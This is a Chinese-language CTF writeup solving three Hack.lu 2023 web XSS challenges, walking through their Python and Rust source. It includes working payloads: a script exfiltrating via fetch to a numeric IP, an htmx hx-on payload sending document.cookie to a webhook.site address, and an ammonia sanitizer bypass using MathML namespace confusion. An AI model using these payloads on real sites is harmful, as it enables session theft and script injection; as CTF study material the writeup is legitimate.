2023/10/17:hacklu2023

2023hackluCTF | diffany (gudiffany.github.io)

Based Encoding

https://learn-cyber.net/writeup/Based-Encoding

准备

首先下载源代码,有adminbot.js,确定为xss
进入题目注册登陆后,在create界面可以输入内容生成页面,生成的连接在base界面,可以在report界面输入id查看
好像没啥了,上手

康康源码

Flag在哪里

1
FLAG = os.getenv("FLAG", "flag{testflag}")

从环境变量导入了flag

1
2
3
cur.execute("INSERT INTO encodings (id, text, creator, expires) VALUES (?, ?, 'admin', 0)", [secrets.token_hex(20), FLAG])
db.commit()
db.close()

插入到数据库里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def login_db(username, password):
db, cursor = get_cursor()
cursor.execute("SELECT * FROM accounts WHERE username = ? AND password = ?", [username, password])
result = cursor.fetchone()
if not result: return None
return {"id": result[0], "username": result[1], "admin": result[3] == 1}
...
def get_encoding(msg_id):
db, cursor = get_cursor()
cursor.execute("SELECT text, creator, expires FROM encodings WHERE id = ?", [msg_id])
row = cursor.fetchone()
if row is None: return None
if row[2] > 0 and row[2] < int(time.time()):
cursor.execute("DELETE FROM encodings WHERE id = ?", [msg_id])
db.commit()
return None
return {"text": row[0], "creator": row[1]}

通过bot可以获得flag

xss预备

1
2
3
4
@app.after_request
def add_header(response):
response.headers["Content-Security-Policy"] = "script-src 'unsafe-inline';"
return response

允许在HTML文档中使用内联脚本,无法使用eval()

顺着app.py找到create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("/create", methods=["GET", "POST"])
def create():
if not session:
flash("Please log in")
return redirect("/login")
if request.method == "GET":
return render_template("create.html", logged_out=False)
elif request.method == "POST":
if not request.form["text"]:
return "Missing text"
text = request.form["text"]
if len(text) > 1000:
flash("Too long!")
return redirect("/create")
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
encoding_id = create_encoding(session["username"], encoded)

return redirect(f"/e/{encoding_id}")

注意到一句特别的话:

1
text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text)

问问神奇的chatgpt.jpg

调试一下:

把解码过的东西放进去编码会还原成原本的样子,提供了xss的可能,可能因为python的问题生成的结果和wp不大对

这样进入生成的页面就会直接弹窗了

外带

外带需要url,此时有个问题:
base91.py:

1
2
3
4
5
6
7
base91_alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$',
'%', '€', '(', ')', '*', '+', ',', '°', '/', ':', ';', '<', '=',
'>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"']

不能包含不在上述清单的字符,比如’.’,XSS的payload不能包含任何不在base91字母表中的字符
有两种方法:
1.String.fromCharCode(46)获得.
例:
"https://nice"+String["fromCharCode"](46)+"requestcatcher"+String["fromCharCode"](46)+"com/test"调用String,使用字符串方法fromCharCode来创建一个字符串获得了’.’
2.纯数字url

1
2
3
4
5
6
import re//引入正则表达式
s = "<script>fetch(`http://730569435:10086/`)</script>"
text = decode(s).hex()
print(text)
encoded = encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
print(encoded)

学长的exp,非常的通用

exp

1
2
3
4
5
6
import re
s = "<script>fetch(`http://730569435:10086/`)</script>"
text = decode(s).hex()
print(text)
encoded = encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
print(encoded)

Awesomenotes I

rust写的xss

准备

1
std::env::var("BOT_HOST").expect("Missing BOT_HOST")

从环境引入bot,也存在report界面,鉴定为xss

康源码

先查看主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async fn main() {
// build our application with a single route
let app = Router::new()
.route("/", get(home))//根目录,接受get传参,调用home函数
.route("/create", get(create))
//在create.html提交内容upload会访问/api/note
.route("/report", get(report))
//report.html提交报告会访问/api/report
.route("/note/:note", get(note))
//note.html访问/api/note/:note
//上面4个路由都会访问对应/public的.html文件
.route("/api/report", post(take_report))
.route("/api/note/:note", get(get_note))
.route("/api/note", post(upload_note))
.nest_service("/static", ServeDir::new("public/static"));
// run it with hyper on localhost:3000
let server =
axum::Server::bind(&"0.0.0.0:3000".parse().unwrap()).serve(app.into_make_service());
println!("🚀 App running on 0.0.0.0:3000 🚀");
server.await.unwrap();
}

先查看get_note:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
async fn get_note(
Path(note): Path<String>,
TypedHeader(cookie): TypedHeader<Cookie>,
) -> Result<Html<String>, (StatusCode, &'static str)> {
if &note == "flag" {
let Some(name) = cookie.get("session") else {
return Err((StatusCode::UNAUTHORIZED, "Missing session cookie"));
};
if name != std::env::var("ADMIN_SESSION").expect("Missing ADMIN_SESSION") {
return Err((
StatusCode::UNAUTHORIZED,
"You are not allowed to read this note",
));
}
return Ok(Html(fs::read_to_string("flag.txt").expect("Flag missing")));
}
if note.chars().any(|c| !c.is_ascii_hexdigit()) {
return Err((StatusCode::BAD_REQUEST, "Malformed note ID"));
}
let Ok(note) = fs::read_to_string(format!("public/upload/{:}", note)) else {
return Err((StatusCode::NOT_FOUND, "Note not found"));
};
Ok(Html(note))
}

注意这里flag的条件,需要获得admin_session

upload_note:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
async fn upload_note(
mut multipart: Multipart,
) -> (StatusCode, Result<HeaderMap<HeaderValue>, &'static str>) {
let mut body: Option<String> = None;
while let Some(field) = multipart.next_field().await.unwrap() {
let Some(name) = field.name() else { continue };
if name != "note" {
continue;
}
let Ok(data) = field.text().await else {
continue;
};
body = Some(data);
break;
}
let Some(body) = body else {
return (StatusCode::BAD_REQUEST, Err("Malformed formdata"));
};
if body.len() > 5000 {
return (StatusCode::PAYLOAD_TOO_LARGE, Err("Note too big"));
}
let safe = ammonia::Builder::new()
.tags(hashset!["h1", "p", "div"])
.add_generic_attribute_prefixes(&["hx-"])
.clean(&body)
.to_string();
let mut name = [0u8; 32];
fs::File::open("/dev/urandom")
.unwrap()
.read_exact(&mut name)
.expect("Failed to read urandom");
let name = String::from_iter(name.map(|c| format!("{:02x}", c)));
fs::write(format!("public/upload/{:}", name), safe).expect("Failed to write note");
(
StatusCode::FOUND,
Ok(HeaderMap::from_iter([(
LOCATION,
format!("/note/{:}", name).parse().unwrap(),
)])),
)
}

注意safe函数:

1
2
3
4
5
let safe = ammonia::Builder::new()
.tags(hashset!["h1", "p", "div"])//只允许这3个标签
.add_generic_attribute_prefixes(&["hx-"])//hx-开头的属性值可通过
.clean(&body)
.to_string();

利用

https://htmx.org/reference/#attributes

1
2
3
<div hx-get="/" hx-trigger="every 2s" hx-on="htmx:targetError: fetch(`https://webhook.site/f892b85c-78fe-4f59-bbaa-98afbf800481/?a=`+document.cookie)">
Get Info!
</div>

hx-on:可以自动在不同情况下监听事件进行自定义行为

hx-trigger:每两秒进行一次请求,仅针对hx-get同系列的事件

htmx版本是1.9.5,hx-on的事件监听写法需要是已弃用的写法

有了cookie就能直接访问/api/note/flag

另一种方式:Based Encoding & Awesomenotes I - Hack.lu CTF 2023 - Web Challenges Writeups (youtube.com)

Awesomenotes II

Awesomenotes II - Hack.lu CTF 2023 | bi0s

1
2
3
4
5
6
7
8
9
10
let safe = ammonia::Builder::new()//注意这里的ammonia库,用于html过滤
.add_tags(TAGS)
.add_tags(&["style"])
.rm_clean_content_tags(&["style"])
/*
Thank god we don't have any more XSS vulnerabilities now 🙏
*/
// .add_generic_attribute_prefixes(&["hx-"])
.clean(&body)
.to_string();

与上一题主要区别就是把safe改了,允许style和TAGS标签,但会对style过滤

允许一些原生的html标签

可以利用<annotation-xml>标签的encoding属性,表示注释中语义信息的编码

查看文档:

https://www.w3.org/TR/MathML3/chapter5.html#mixing.semantic.annotations

以以下为例:

1
2
3
4
5
6
7
8
9
10
<math>
<semantics>
<mi>a</mi>
<annotation-xml encoding="text/html">
<span>xxx</span>
</annotation-xml>
</semantics>
<mo>+</mo>
<mi>b</mi>
</math>

构造如下payload:

1
2
3
4
5
6
7
<math>
<annotation-xml encoding="text/html">
<style>
<img src=x onerror="alert(1)">
</style>
</annotation-xml>
</math>

encoding="text/html"style标签视为 html 命名空间中的标签,因此,其中的内容被视为纯文本,并且不会对其进行任何过滤

但是当属性被删除时,style 标记现在位于 mathml 命名空间中,其中 style 标记中的标记被视为 html 标记,如下:

1
2
输入到ammonia库 - <math><annotation-xml encoding="text/html"><style><img src=x onerror="alert(1)"></style></annotation-xml></math>
输出 - <math><annotation-xml><style><img src=x onerror="alert(1)"></style></annotation-xml></math>